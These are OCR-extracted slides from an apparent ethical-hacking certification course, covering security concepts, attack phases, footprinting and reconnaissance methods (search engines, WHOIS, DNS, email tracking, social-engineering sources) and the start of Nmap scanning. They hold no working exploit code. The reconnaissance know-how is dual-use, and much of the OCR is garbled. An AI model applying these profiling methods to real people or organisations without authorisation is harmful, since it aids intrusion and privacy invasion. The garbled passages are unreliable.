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Elements of Information Security C|EH

A state of well-being of information and infrastructure in which the possibility of theft,
tampering, and disruption of information and services is kept low or tolerable

Assurance that the Assurance that the systems responsible Guarantee that the sender of a message
information is accessible for delivering, storing, and processing cannot later deny having sent the

only to those authorized information are accessible when message and that the recipient cannot
to have access required by the authorized users deny having received the message

Confidentiality Integrity Availability 3 Authenticity

'
i

The trustworthiness of data Authenticity refers to the

or resources in terms of characteristic of a communication,
preventing improper and document or any data that ensures
unauthorized changes the quality of being genuine
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The Security, Functionality, and
Usability Triangle

el B I

Level of security in any system can be defined by the strength of three components:

----------------------------------------

Moving the ball towards
: security means less

: Functionality
: functionality and usability :

(Features)

Security
(Restrictions)

Usability
(GUT)
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Top Information Security
Attack Vectors

Virtualization and Organized Un-patched Targeted Social
Cloud Computing Cyber Crime Software Malwares Networking

CIEH

26 / Information Systems \r ﬂ?
/‘ 2 N e
4% W g R A

Compliance to Govt. Mobile Inadequate Network Lack of Cyber
Laws and Regulations  Device Security Security Policies Applications Security Professionals
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Information Security Threats

Natural - . Physical - . Human

Threats Security Threats Threats

Loss or damage of Hackers
system resources Sy
Insiders

Physical intrusion _ ) )
Social engineering
Sabotage, espionage

and errors Lack of knowledge

and awareness




~ Information Security Threats (|EH
| (Cont’d)  wwelinw nee

— ——

Host Threats

’ Application Threats

® Information gathering ® Malware attacks ®  Data/input validation
. ®  Authentication and

n -4

Sniffing and eavesdropping Target Footprinting Authorization attacks
®  Spoofing ®  Ppassword attacks ®  (Configuration management
8 Session hijacking and Man- ® Denial of service attacks B Information disclosure

in-the-Middle attack B Session management issues

8 Arbitrary code exacution
®  SQL injection Y B Buffer overflow Issues
®  ARP Polsoning ®  Unauthorized access B Cryptography attacks
®  password-based attacks ® Privilege escalation ®  Parameter manipulation
®  Improper error handling

L] "

Denial of service attack Back door Attacks and exception management
¥ Compromised-key attack ®  Physical security threats ®  Auditing and logging issues
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Hacking vs. Ethical Hacking | C|EH

Hacking refers to exploiting system vulnerabilities and
compromising security controls to gain unauthorized or
inappropriate access to the system resources

It involves modifying system or application features to
achieve a goal outside of the creator's original purpose

J Ethical hacking involves the use of hacking tools, tricks,
and technigues to identify vulnerabilities so as to

Q ensure system security
—

It focuses on simulating techniques used by attackers to
verify the existence of exploitable vulnerabilities in
the system security
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Black Hats

Individuals with
extraordinary computing

skills, resorting to malicious
or destructive activities and
are also known as crackers

‘ad

Script Kiddies

An unskilled hacker who
compromises system by
running scripts, tools, and
software developed by real
hackers

White Hats

Individuals professing
hacker skills and using
them for defensive
purposes and are also
known as security analysts

Spy Hackers

Individuals employed by
the organization to
penetrate and gain trade
secrets of the competitor

Gray Hats

Individuals who work both
offensively and defensively
| at various times

4

Cyber Terrorists

Individuals with wide range
of skills, motivated by
religious or political beliefs
to create fear by large-scale
disruption of computer
networks

Suicide Hackers |

Individuals who aim to
bring down critical
infrastructure for a "cause”
and are not worried about
facing jail terms or any
other kind of punishment

State Sponsored |
Hackers

Individuals employed by the ‘
government to penetrate
and gain top-secret
information and to damage ‘
information systems of
other governments
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Hacking Phases

Reconnaissance refers to the preparatory phase where an attacker
seeks to gather information about a target prior to launching an
attack

Could be the future point of return, noted for ease of entry for an
attack when more about the target is known on a broad scale

Reconnaissance target range may include the target organization's
clients, employees, operations, network, and systems

Reconnaissance Types

Passive Reconnaissance Active Reconnaissance

Passive reconnaissance involves Active reconnaissance involves
acquiring information without interacting with the target directly by
directly interacting with the target any means

For example, searching public For example, telephone calls to the

Clearing records or news releases help desk or technical department
Tracks
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Hacking Phases

(Cont’d)

Pre-Attack Phase

Scanning refers to the pre-attack phase when the attacker
scans the network for specific information on the basis of
information gathered during reconnaissance

Port Scanner

Scanning can include use of dialers, port scanners, network
mappers, ping tools, vulnerability scanners, etc.

Extract Information

Attackers extract information such as live machines, port,
port status, OS details, device type, system uptime, etc.
to launch attack
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{ Hacking Phases

(Cont’d)

Reconn-
aissance

Gaining access refers to the point where the attacker
I obtains access to the operating system or applications on

I" a
the computer or network ‘ .

e =

II The attacker can gain access at the operating system level,
application level, or network level [y b
— H
The attacker can escalate privileges to obtain complete (f' 1| il
m control of the system. In the process, intermediate systems 9L |

that are connected to it are also compromised

{ N '“ | Eﬁa'm_ples; include password cracking, buffer overflows,
A ¥ denial of service, session hijacking, etc.

‘. i~ O

LT | SIS =
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Hacking Phases

(Cont’d)

Maintaining access refers to the phase when the attacker tries to
retain his or her ownership of the system

Attackers may prevent the system from being owned by other
attackers by securing their exclusive access with Backdoors,
RootKits, or Trojans

Attackers can upload, download, or manipulate data, applications,
and configurations on the owned system

Attackers use the compromised system to launch further attacks
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Hacking Phases

(Cont’d)

Covering tracks The attacker’s The attacker

refers to the intentions include: overwrites the
activities carried Continuing access to the server, system, and
out by an attacker victim s system, application logs to

: s remaining unnoticed . e
to hide malicious 1 avoid suspicion
v and uncaught, deleting

evidence that might
" lead to his prosecution b

Attackers always cover tracks to hide their identity
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Types of Attacks on a System | C|EH

2 Attackers exploit vulnerabilities in an information system
to gain unauthorized access to the system resources
e ) J The unauthorized access may result in loss, damage or

theft of sensitive information

HHHHH T

Types of Attacks

Q 1 Operating System Attacks [“ Application Level Attacks
-

11 Misconfiguration Attacks




Attackers search for O Buffer overflow Exploiting specific

vulnerabilities in an vulnerabilities protocol implementations
ratin m’ : . , : s

epcrating syslte = © Bugs in operating system Attacking built-in

design, installation or _ authentication systems

configuration and O  Unpatched operating

Breaking file-system

exploit them to gain system :
security
access to a network
| system Cracking passwords and

encryption mechanisms
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) sedtoanad‘ the system

In order to optimize the configuration of the machine, remove any
redundant services or software
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Application-Level Attacks

Attackers exploit the vulnerabilities in applications running on
organizations’ information system to gain unauthorized access

and steal or manipulate data

%

Poor or nonexistent error checking
in applications leads to:

Buffer overflow attacks
Sensitive information disclosure
Cross-site scripting

Session hijacking and man-in-the-
middle attacks

Denial-of-service attacks
= SQL injection attacks

%

Other application-level attacks
include:

Phishing

Session hijacking
Man-in-the-middle attack
Parameter/form tampering

Directory traversal attacks
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Why reinvent the wheel when you
can buy off-the-shelf libraries and
code?

When you install an OS or
application, it comes with supporting
sample scripts to perform various
administration tasks

Application developers also use off-
the-shelf libraries and code to reduce
development time and cost

The problem is not fine tuning or
customizing these scripts

Shrink wrap code or default code
attack refers to attacks that exploit
default configuration and settings of
the off-the-shelf libraries and code

Pruan ¥ ot (laand by Ling® 7% ol ol s As String) Lr Giwing
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Skills of an Ethical Hacker

Platform Knowledge Has in-depth knowledge of major operating

environments, such as Windows, Unix, and Linux
E— ———

‘.l.-lI.l.'-.'-'..I..'.-l...'-'...-."..-........'C'....II..-.-.-.IIUOCC....

Network Knowledge Has in-depth knowledge of networking concepts,

technologies and related hardware and software
— T—

..'...I'l....‘l.....b-.l.I.................‘..'..l....‘..l....C.......I.....

Computer Expert Should be a computer expert adept at technical

domains
[I— ——

00 B PRRORRAORRRTRNANORORORPRRONRTODORRDPIRNOPERPOOPROSAROEIRPRRENS 'C‘.........l.....

Security Knowledge Has knowledge of security areas and related issues
I — — ——

S000NE0I0NE000NODE0eERTNDNU0000NE0Re0VN000ERNeR00000RRRORNEOMRSROIORROIIRITEOVIOGIOIOR0oe

Has “high technical” knowledge to launch the
sophisticated attacks
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Footprinting and
Reconnaissance

Module 02

Engineered by Hackers. Presented by Professionals.




What Is Footprinting?

Footprinting is the process of collecting as much information as possible
about a target network, for identifying various ways to intrude into an
organization’s network system

Process involved in Footprinting a Target

Determine the operating system
used, platforms running, web
server versions, etc.

Find vulnerabilities and exploits
for launching attacks
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Why Footprinting? CIEH

fthoead Sache

Know Reduce Build Information
Security Posture Attack Area Database Network Map

O

Footprinting allows It reduces attacker’s It allows attacker to It allows attacker to draw

attacker to know attack area to build their own a map or outline the

about the complete specific range of IP information database target organization’s

security posture of address, networks, about target network infrastructure to

an organization domain names, organization’s security know about the actual
remote access, etc. weakness to take environment that they

appropriate actions are going to break
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) Collect

Network

./ Information

Systoem
Information

~ Collect
Organization’s
Information

e @ ¢ ¢ T T

¢ @ T T a

Domain name

Internal domain names

Network blocks

IP addresses of the reachable systems
Rogue websites/private websites

TCP and UDP services running

Access control Mechanisms and ACL's

User and group names
System banners
Routing tables

SNMP information

Employee details
Organization's website
Company directory
Location details

Address and phone numbers

-
-

d @ @ @ @ @ ¢

VPN Points
ACLs
IDSes running

System architecture
Remote system type
System names

Passwords

Comments in HTM|
Security policies il
Web server lin
organization

Background of the
News articles/press
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\ Footprinting through Search
Engines

J Attackers use search engines to extract [P eSS e

| information about a target such as
technology platforms, employee details, v

login pages, intranet portals, etc. which vy Merosl :

helps in performing social engineering and S i T
other types of advanced system attacks - s Microsoft

J Search engine cache may provide sensitive
information that has been removed from
the World Wide Web (WWW)
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Finding Company’s External and

C|EH

Internal URLs

[CRELTE I

4 Search for the target company’s external URL Tools to Search Internal URLs

in a search engine such as Google or Bin
& & & @ http://news.netcraft.com

4 Internal URLs provide an insight into
different departments and business units in
an organization

@ http://www.webmaster-a.com/
link-extractor-internal .php

4 You may find an internal company’s URL by
trial and error method

— —S s

Internal URL’s of microsoft.com

support .microsoft.com C

office microsoft.com -*-

¥

search.microsoft.com

msdn .microsoft.com

' ' | update .microsoft.com r,,\ r
3

technet .microscft.com N

¢ ¢ ¢ ¢ ¢ ¢ <

windows .microsoft.com
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C|EH

Public and Restricted Websites

Cortifrad i Hibical o e

Identify a company’s private and public websites

E— -5 i

. hitp://technet. microsoft.com http://windows microsoft. com

o || ==

http://office.microsoft.com

http://www.microsoft.com http://answers. micrasoft.com

Public Website Restricted Website
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Collect Location Information S_ EH

Use Google Earth tool to get the location of the place

hitp /fearth.google.com
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People Search

Information about an individual can be ; The people search returns the following
found at various people search information about a person:

websites ' ' Residential addresses and email addresses
Contact numbers and date of birth

Photos and social networking profiles
Blog URLs

Satellite pictures of private residencies

AROEFRNTE .

{

http://pipl.com http://www.spokeo.com
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eople Search on Social
Networking Services

Mo

in

http.//www.facebook.com http.//w ww.linkedin.comd

PR
AMZAE

il - — Sm—
http://twitter.com https://plus.google.com
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Footprinting through Job Sites

You can gather company’s
infrastructure details from
job postings

Era‘pae Applicatoss EagneanTEis POSTEDG I8F ORMATON
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CIEH

Cartirnd | Eiboeal Mo e

Look for these:

Job requirements

Employee’s profile

-

Hardware information

Software information

Examples of Job Websites

http://www.monster.com
http://www.careerbuilder.com
http://www.dice.com @ ‘
http://www.simplyhired.com -
http://www.indeed.com

http://www.usajobs.gov
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Information obtained from target’s website enables an attacker to
build a detailed map of website’s structure and architecture

< L 2 e ot ALY = o
Browsing the target website may provide:

— Software used and its version ki

~ Operating system used | e

~  Sub-directories and parameters . e e e ol
e — -
- Filename, path, database field name, or query S —— e 4
R e —— - I
o L g
—  Scripting platform ey g ey

. Contact details and CMS details | E

Use Zaproxy, Burp Suite, Firebug, etc. to view
headers that provide: -
~ Connection status and content-type

.. Accept-Ranges 3 g
~ Last-Modified information ] ——

—.  X-Powered-By information
Web server in use and its version

http.//portswigger.net
Caoyrigrt © by ES Comaeil. All Rights Ressrved. Reproduction Is Strictly Proh bl ed




Website Footprinting CIEH

Cartirad I Hibiosl Mo e

(Cont’d)

Examining HTML source provides: ‘ Examining cookies may provide: \
® Comments in the source code @ Software in use and its behavior
@ Contact details of web developer or admin ‘ @ Scripting platforms used I
@ File system structure =3 \@ —— = ﬂ |
@ Script type - @ ¢1 E
; I
A a % - o —
=9
¢—)
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Mirroring Entire Website | C|EH

tertdimd bl S

Mirroring an entire website onto the local system enables an attacker to dissect and identify
vulnerabilities; it also assists in finding directory structure and other valuable information
without multiple requests to web server

Web mirroring tools allow you to download a website to a local directory, building recursively
all directories, HTML, images, flash, videos, and other files from the server to your computer

U vJ netpe/ fwww. juggyboy.com L 4 CYupgyboy.com

Original Website Mirrored Website
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C/EH

e B L

| — - —

HTTrack Web Site Copler (http//www. httrack.com)

i) - of

SurfOffline (http://www.surfoffline.com) WebRipper (http//www.calluna-software.com)
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B

Website
Information

Extract Website Information from clEH
http://www.archive.org i

»

e

Internet Archive’s Wayback Machine allows you to visit archived
versions of websites

INTERMET ARCHIYE N‘:l Iysicresolt.com o \\"ﬂ.;‘.ql

Laupzchmyhen



Footprinting Methodology CIEH

: =N
. 2

Footprinting through Search -
Engines

WHOIS Footprinting

Website Footprinting DNS Footprinting

Email Footprinting Network Footprinting
Footprinting through Social

Competitive Intelligence : .
Engineering

F inting th ial
Footprinting using Google ootprinting through Socia

........
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clEH

Tracking Email Communications

!llhln‘l Echotsd Mo e
L]

4 Attacker tracks email to gather information about the physical location of an
individual to perform social engineering that in turn may help in mapping
target organization’s network

4 Email tracking is a method to monitor and spy on the delivered emails to the
intended recipient

00000
..
res,
.

P

@

e,
e
L™
-
"

When the email was
received and read

GPS location and
map of the recipient

Set messages to
expire after a specified time

Track PDF and other types
of attachments

Time spent on reading

the emails
Whether or

not the recipient

ks y g Q

! ', ~ .- / \
*s —_— ”.' i \

I."-.._. —— o —— _.‘.*'.. ' y )

visited any links sent to them
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Collecting Information from clE
Email Header Dl =

Dalivared-To: €gmail.com he address from which
Received: by 10.112. 39.167 with SMTP Y
Fri, 1 Jun 2012 21:24:01 -0700
Return-Fath: < sermal@gmail.com>
Received-SPF: pass (google.com: domain of pesignates 10.224.205.137 as permitted
sender) client-ip=10.224.205.137; .
AButhentication-Results: sender s mail server £ srmallgmall . com designates
10.224. 2&5.137 as permi ! . : dkim=pass
header.im mrma@gmail .com
Rebeivedz trom o, gooqle com {[10 224 205.1371)
: '?FIC'?f'!qab 30.13%

Date and time received
bv the ongmalm‘s

d-gmdll com; S " e —_—— —————e
h=mime-version:in- re}‘]y to:re o " Authenticationsystem pect:from:to
;content-type; : 5
bh=TGEIPb4ti7qgfQG+ghhT70kPjkx+Tt/iAC] o
b—KquZ"ILEg2+QZK2:?!~.aHlNuchnE‘/-deﬂhk ——— > w2 P+715MxDRSE
b1 PK3aJ3UF/C2aRZWNITOXLAKCAGYrPIROY CI"H(“JFKG l,_}‘-inuhz’xﬂh:.qpknll”FoK(‘qO(‘
aa9hD59D3)oXIAKACTZmkblAzXmVADIWEfCLE 94RaMBOUOMzZRWONWI I1b%85al1138cqt1£P
ZhrWFKh5xSnZXaR73%ZPEYzplyerCaQuYHZNGS 1 KxeOTxQiaZuw+HWK /vRExXChDIapZ 4
KS5ZAEYZmkIkFX+VAdLEqulYGFzy6oHcuPl6y3/C2fXHVdsuYamMT /yecvhCVolOyTFKL 6
/Kzw==
MIME-Veraicon: 1.0
Recelived: by 10.224.205,137 with SMIP id f£Q9mpaiias Al 1040318
Fri, 01 Jun 2012 21:24:00 0700 (PDT) — — —
Recalved: by 10.229.230.79 with HTTP: Fri, N‘E“W“ 00 (POT) A unique number assigned
In-Reply-Ta: <CAOYWATT1:zJdDXE3p8DZrhiE4Bexl slligmall .com> "  onoele comte
m i - ' .

JANNO-EMJcgEgX+mUf{B tt2sy2ddXA8mail.gmall.com>
OLUTIONS :::
=rmalgmail.com>

ILUTIONS < 34 e JeNna . wr8yahoo.com>,
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Email Tracking Tools CEH

(et bl S

| = —_——al -—m | ‘
1
- - == Trace Email - Track Email -
-—
| — — e |
| ———— = :
B g et Email Header Analysis I
——— IP Addrase: 7252132 147 (hoet mar haanmadagroup.com) l
— — IP Address Country: Unred States

| ' S IPCaontinent Mhorth Arenca |
i — e IP Address Criy Location: Lansrg |
. s — I

‘ ——— IP Address Region: Mchgan
. . - P IP Address Latitude: $2.7257
; IP Address | ongeitude: B4 636

—— Organizaton: So04rcaDNS
. - — ——
e A s St Emall Lookup Nap (show'hide)
eMailTrackerPro (hitp//'www.emailtrockerpro.com) ["t" | 'mp Satellre
— —_ - - — . 1.'_‘ Rl i
| # Email Metrics ~ Bath Charer
e Township |
| I
| i - v
e |
| Crand < -
: | erige e Enal
- LBHSI[TQ L‘nmng

-

[ =t}
-

td wm |
I ' Nac obia £2012 Gooale - Terms of Use Report 3 mip s

= _ _ —_— e

PoliteMail (http://www.politemail.com) Email Lookup - Free Email Tracker (http.//www.ipaddressiocation.org)

Copyright © by EG-Gaumncil. All Rights Reserved. Reproduction is Strictly Prohjbited.

4



Competitive Intelligence
Gathering

Competitive intelligence is the process of identifying, gathering,
analyzing, verifying, and using information about your competitors
from resources such as the Internet

Competitive intelligence is non-interfering and subtle in nature

Sources of Competitive Intelligence

Company websites and employment ads 6 Social engineering employees

Search engines, Internet, and online databases 7 Product catalogues and retail outlets

Press releases and annual reports 8 Analyst and regulatory reports

4

Customer and vendor interviews

_—

. | Trade journals, conferences, and newspaper

40  Agents, distributors, and suppliers

L 4
[
L}
]
I
]
[
:
L)
1
[
1
1
I
'
1
L]
1
'
1
1
i
1
]
1
]
i
1
'
+*

5 Patent and trademarks
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Footprint Using Google Hacking ClEH
Techniques 3o el

= e T e
gl il
J"". "_5:—

v ~.
§" goosle Operato,, *i.
It uses Google operators ;

R‘ to locate specific strings
), of text within the j

o Sty

4 Google hacking .

refers to creating ‘n&" search results ‘,ja“
search queries to extract ! ‘ ia—,,\ r‘_j"'
sensitive or hidden . 5\ .

" to find vulnerable
targets

42
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What a Hacker can do with
Google Hacking?

clen

Attacker gathers:

Error messages that
contain sensitive
information

Advisories and server
vulnerabilities

Pages containing
network or
vulnerability data

Files containing
passwords

Sensitive
directories

Pages containing
logon portals

Copyright © by EG-Geancil. All Rights Reserved. Reproduction is Strictly Prol‘hi%ited.




Google Hacking Tool: Google clEH
Hacking Database (GHDB) Sl e

and Vulnerabilities Pages Containing Login Portals
g/ Jwwrw hockersforcharty 13
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(ertihad § Etheal ke

. WHOIS Lookup CIEH

WHOIS databases are maintained by Regional Internet Registries and contain the personal
information of domain owners

WHOIS query returns: Information obtained Regional Internet
from WHOIS database Registries (RIRs)
assists an attacker to:

© Create detailed map of AFRINIC S
organizational network .

Domain name details

Contact details of domain
owner

P CAREN

Domain name servers
NetRange

When a domain has been
created

Expiry records
Records last updated

Gather personal information RIPE
that assists to perform social | ()APNIC ‘
engineering

Gather other internal network
details, etc.
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WHOIS Lookup Tool: SmartWhois C|EH

(ortified | fthecal Sarhe

> SmartWhais - Evaluation Version
Fie Query Eddt Yiew Settings Help
A W

| § ), * &k

P hostordemat < mecrcsoft coe v K
sl L. jeessssmessesne—————————————— ||
B microsoft com =
=3 moneyde % ims

< EET]
ﬁ _ B T

€  freeSAS ¢ ProXad
£, 1 1ue dela ville " Eveque
T500F Periy

SmartWhois is a useful
network information utility
that allows you to look up
all the avallable information
about an IP address,
hostname, or domain

phone 33173502000
foc+331735802501
hostrmaster@ grozad.nct
£  FreeSAS/ ProXad
samhy | ruedela wille 1" Eveque
TSO0F Paiia
phone =33171502000
f2e+337171802301
easrnaerd orosed.net

it also provides information
about country, state or
province, city, name of the
network provider,
administrator, and technical
support contact information

| tewnslog20fiee £ [212 2760.19]
G -eanti-q20 freatr|2122760.20]

T st gt Mgt Fane |
.”ﬂ_, Aiess Toalfie Mank 19,100 ‘

| 1 Crested- 20)12/2008
s Updated: 17/02/2004
Source: whois.nic fr

http://www.tamos.com
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Extracting DNS Information | C|EH

Cortitomd | Ebical Mo bam

@ ©
Attacker can gather DNS information to determine key hosts in !I .'9
the network and can perform social engineering attacks :0

© @

DNS records provide important information |

about location and type of servers DNs Interrogatlon Tools

o ]
Type @ http://www.dnsstuff.com

A Points to a host's |P address
MX Polints to domalin's mall server L~ http://network-tools.com

NS Points to host’s name server
Canonical naming allows allases to a host
Indlcate authority for domain
Service records
Maps IP address to a hostname

Responsible person

Host Information record Includes CPU type and OS

Unstructured text records
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Locate the Network Range | C|EH

Network range information obtained assists
an attacker to create a map of the target’s

network

Find the range of IP addresses using ARIN
whois database search tool

You can find the range of IP addresses and
the subnet mask used by the target
organization from Regional Internet

Registry (RIR)

Attacker

FITTIRTT

X XK
| )

LEK

Network

Caititmd § Ethoad Bacher

Network Whois Record

Queried whois.arin.net with "n 207.46.232.182"...

NetRange: 207 .46.0.0 - 207.46.255.255
CIDR: 207.46.0.0/16

OriginAs:

NetName: MICROSOFT-GLOBAL-NET
NetHandle: NET-207-46-0-0-1

Parent: NET-207-0-0-0-0

NetType: Direct Assignment
NameServer: NS2 .MSFT.NET

NameServer: NS4 .MSFT.NET

NameServer: NS1,MSFT.NET

NameServer: NS5 . MSFT.NET

NameServer: NS3 . MSFT.NET

RegDate: 1997-03-31

Updated: 2004-12-09

Ref: http://whois.arin.net/rest/net/NET-
207-4¢€é-0-0-1
OrgName : Microsoft Corp

Orgld: MSFT

Address: One Microsoft Way

City: Radmond

StataProv: WA

PostalCode: 98052

Country: us

RagDate: 1998-07-10

Dpdated: 2009-11-10

Ref - http: //whois. arin.net/rest/org/MSFT
OrgAbuseBandle: ABUSE231-ARIN

OrghbuseName : Abuse

OrgAbusePhone: +1-425-882-8080
OrgibuseEmail: abuse@hotmail.com
OrgAbuseRef :
http://whois.arin.net/rest/poc/ABUSE231-ARIN
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Determine the Operating System C|EH

(aitifimd § Ithoesd Mlacher

Use the Netcraft tool to determine the OSes in use by the target organization

L mm et m— A e — e —

_AleTcraFr - i S P D A AR
R s i
o

- LT =) o

Search Web by Domain

(S mard e L 8 W A
et sy e el P S— ¢

e W e & Segm— S )

e - e .

A

- Add3dJ 3343134000

5

e B Py - A T

-y
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Traceroute

Traceroute programs work on the concept of ICMP protocol and use the TTL field in
the header of ICMP packets to discover the routers on the path to a target host

IP Source Router Hop Router Hop Router Hop Destination Host

ICMP Echo regquest

! !—*' .........................."“..... ..... i o Sisaeiiimuseemanteetanansnyeadls eeatieuas o
) .I ] -

SENIRENINISERUIEREERIRRPEERRPEY A A A A vermascpIEEs A A & A cssssoEEER A A A & SO0 CRFBOGENISECOERES

A ICMP 2rror message .

---------------------------------------- L]

ICMP Echo request TTL=2 . I > =,

El IlllllllllllllllIIIIIIIIIIIII—IIlllllllll:lllIllll ; = g ;

. SEEVEEDINUUNUBID DRBUUUDEDEEEE 58 A& & & 'UDsDEREREEEER A A & @ 'TEERETEEERBED & & A & SRTTOEDEODOGERTEERNEREN

3

A‘ ICMP error messajge

i - o ——
lI!wﬂﬁgm-rﬂ..q.ms..llﬂ-.ll...-l-l-..lml’!ﬂ..-.......Q-..l'l.l.'..l-'*llUIIIC! (AR R R AR R R R R AR 'b

SERIEIEIRINEES I DESUUORNENERT 5 & & @ ' EREEABREDISD 5 & &N @ TISREIRERREE & & & @ SSARSNERINENEENEOEEENEGES
§ i ! §
]

Q ICMP arror message . . 2

ICMP Lcho request TTL=4

-‘i snEBnemans B ESRNIAEANISNSNAIONESNNNOSONENEsENNEN0sNIOENIRDO0RNARNRONERNEDNENGEREABREE SANS0EINAEINEIGNNIANADARAERERE }
|
] - =N — a e — =

- IENEFENINEENENUE P ROENUUREERERE] 8 A A [ ] UpIEREDEIEET 8 & M [ SENNEEDENEEE 8 & 8 [ ] SsNESdoENDENEETEEERNEEN

ICMP reply message

--------------------------------------------------------------------------------------------------------------------------------




Attackers conduct traceroute to extract information about: network topology, trusted routers, and
firewall locations

J For example: after running several traceroutes, an attacker might obtain the following information:
traceroute 1,10.10.20, second to last hop is 1.10.10.1

traceroute 1.10.20.10, third to last hop is 1.10.10.1

traceroute 1.10.20.10, second to last hop is 1.10.10.50

traceroute 1.10.20.15, third to last hop is 1.10,10.1 ’[ '
traceroute 1.10.20.15, second to last hop is 1.10.10.50

By putting this information together, attackers can draw the network diagram

IIHIIIIIHHHIHH—i-

Bastion Most
Hacker Internet

2 ¢ ¢ a <&

1.10.20.10
Web Server

m.. : DMZ ZONE

EREEEES . . . . AESEBIBeEFEO A EREEN l I-I-...;-.-'-.-I-..:'--III-I---. 1
1.10.10.1 \—-] :

Router 1.10.10.50 —— 1.10.20.50
Firewall Firewall

1.10.20.15 ‘
Mail Server |
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Traceroute Tools

Path Analyzer Pro

netp. s feww. pothanglyrer.com

F,
— —

ntipywww.visugiroute. com
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Footprinting through Social

PSS TP S

Engineering

Social engineering is the art of convincing people to reveal confidential

information

-~
o A
Social engineers depend on the fact that people are unaware of their 0, ,‘“
valuable information and are careless about protecting it —

%

Social engineers attempt to gather:

(I (§ (L

( (I

Credit card details and social security
number

User names and passwords
Other personal information
Security products in use

Operating systems and software
versions

Network layout information
IP addresses and names of servers

© ©Q

Social engineers use these techniques:

(4 ¢

Eavesdropping

Shoulder surfing

'l !r’

(x

Dumpster diving

Impersonation on social networking
sites
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Information Available on Social
Networking Sites

> 7

What - -‘ What

| | What
|
Attacker Gets Users Do " OrganizationsDo . Attacker Gets
cv-— f g PRPIR I . b e b b 8 Bl B b R .
ontact info, 4 =P - e : >
IeAtion, ote. .0 Maintain proﬁ!e ; q;er suweys_ _ i" Business strategies
. e - M, O _
Friends list, . Connect to \
friends info, etc. - fnends, chattmg Promote products ; Product profile
_..-,_‘ E -1 .:-..‘.I. -¢~_...._. - = .._2 b ; i
- - v — i v = e, e peenra s o b
Identity of a T Share photos -
family members “" andiideas User support # Social engmeenng
r—— e o : “‘.‘_‘_‘L_,;I:;? P
e & Pl?y games, o { Recruitiiant 4 Platf?rm,‘teclimology :
_ join groups - _ _ : ‘ information
€ | 7 N Background check - :
Activities * _ Creates events 2 -. to hire employees ’ Type of business

54




Facebook is a Treasure-trove for Attackers

Europe
223,376,640

rb

Latin America
141,612,220

. BT - T :
845 ‘1 ol 250 3¢ 20 (5

million monthly | billion | million photos 1 of every 5 of minutes time
active users connections | uploaded daily all page views spent per visit

Number of users Il over the world
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Footprinting Tool: Vialtego

Maltego is a program that can be used
to determine the relationships and
real world links between people,
groups of people (social networks),

. companies, organizations, websites,
"= Internet infrastructure, phrases,
documents, and files

. . > — e | smme § e—— e

-
- I gy . N 0 BN RN

e — 0 ¢ o ¥gl

internet Domain

http.// www.patervo.com

Personal Information
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Scanning Networks

Module 03

Engineered by Hackers. Presented by Professionals.




Checking for Live Systems -

ICMP Scanning

- Ping scan involves sending ICMP ECHO requests to a host. If the host is live, it will return
an ICMP ECHO reply

J This scan is useful for locating active devices or determining if ICMP is passing through a
firewall

H ICMP Echo Request -
H I ERRENTRER AR AN R SRR RS RN NN NARSERENDN] ll..I--l...I..l....“.-l..-l..l...lll" =
_. ".I‘ll"'.'.'-'lll-.'l'l""'-.'."" ' - (AR EAER AR R AR RN RN R AR RN RN REERYR ]
ICMP Echo Reply

Source (192.168.168.3) Destination (192.168.168.5)

The ping scan output Zenmap R

Scin  Joos Profile Hugp
Target 152 168.168.5 » Profike  Ping ican - -

Command  |memap ~sn 157 160 164 5|

1, el - Hosts Serwos Nenag Qutpid  Peoets ! Hosts | Topolegy Hosl Detaily  Scans

J [ L [ ] % % Hoa a remap -an 192 168,168.5 v Lvimd
| ﬁ » 192168.68.1

v ~— Starting tmap 6.01 ( http://owap.grg ) at 2042-08 08

c D P  192.168.1683 13:02 EDY
192.168.'68 5 Mmap scar report for 192.168, 1648.2

Most is up (8.08s latency).

1921686813 MAL Adriress: (Dell)
- . _ - Maap done: 1 IP address {1 host up) scanned in @.14@
seconds
“um s

http://nmap.org
Copyright © by E&-Esulitil. All Rights Reserved. Reproduction s Strictly ProHibited.



Ping Sweep

Ping sweep is used to determine the live hosts from a range of IP addresses by sending ICMP
ECHO requests to multiple hosts. If a host is live, it will return an ICMP ECHO reply

Attackers calculate subnet masks using Subnet Mask Calculators to identify the number of g

hosts present in the subnet '
B0 8 8

Attackers then use ping sweep to create an inventory of live systems in the subnet

The ping sweep output using Nmap

Zenmap —— ﬂ

. »
an Jeoh Prolde Heip ICMP Echo Request

.
Toget 92182 168.1.%0 v Pafie v| Beare —

192.168.168.5

Command [nmap an P PA21 0150 106 19, 1681681 0]

ICMP Echo Request
Hoits Sorvees Nenag Quipul  Ports Mo s | Topology | Mot Details | Scem Srnralnertsetinimasyl

. nerap -an P PAZ1 21 80 1389 19..160.168.1-50 v | /9

140 164 €8 ! iy ICMP Echo Reply
(R 1) :;.::1:: Neao .91 ( MLpI//nmep.org | 8T 1812.60.40 192.168.168.6

190 feL 16 S ap schn feport Jor 191.169.168.1

rost 13 uo (9.88s latency). '
118181 A Acdicuss (Henlel | -Packacd € ompany) : > |“|
: -
[}

. % “eap scan raport for 99).168 164.3 U L L VO L
192, 16 16814 st 15 o (B.88< Lavenis) ICMP Echa Request >

T MR TERLTS MAC hodreni: (2pple) Source
WD scan regort Yor 191,188.180,% 192.168.168.7

163160 16817 wost is up (0.08105 latency). 192.168.168.3
192 168 16419 g Ll

g scon report for 192.160.168.13 s EY
192 160 16820 Hosk [s wp (0 88: latency) ICMP Echo Reply -
BAL AddAress! (Fosconnl -
19216810028 v waap fcan raport for 191,168 168 14 e L A e S LICEEEPtY
L4 & $h.000W - 1 ICMP Eche Request

=il sblisy

Fites Heats i 192.168.168.8

http://nmap. org-
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Scanning Tool: Nmap

Network administrators can use Nmap for network inventory, managing service upgrade schedules, and
monitoring host or service uptime

Attacker uses Nmap to extract information such as live hosts on the network, services (application name
and version), type of packet filters/firewalls, operating systems and OS versions

BB T s
e
il iy Ly

i ®ans

') ‘I by
. e Ny .

http://nmap.org
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Scanning Tool: NetScan Tools Pro E H

maesdisdatab e - NeScanTooke fro 11,00

St Mowadnlly Yes  —wp

Parual ocls . [etwork Contecton Edacrts 9

- Network Tools Pro assists = ; - S
ln trouhlﬁ.hootiﬂg' [ Pefrec ]uqh, Ful Procesc Rathe Dsccnnsct

diagnosing, monitoring bk b V%€ 10 \BHAMLECMINIER)
MEC Zdirelo Maudas 1m [ader Dvad deali |
and discovering devices TF Fhut fywm e

TP DS Cormectior Enckiont Lt ¥ D ade s Favnwies
on the network T —_—
rLoce »s w=ai Local IP Lacal foxc Remote

10.0.0 60 |htep
L3I jepxag
44% (microscfr-da)
1025 (blackjach)
1723 {ppty)
218 (gybacpawyvhore)
2889 (icslap)
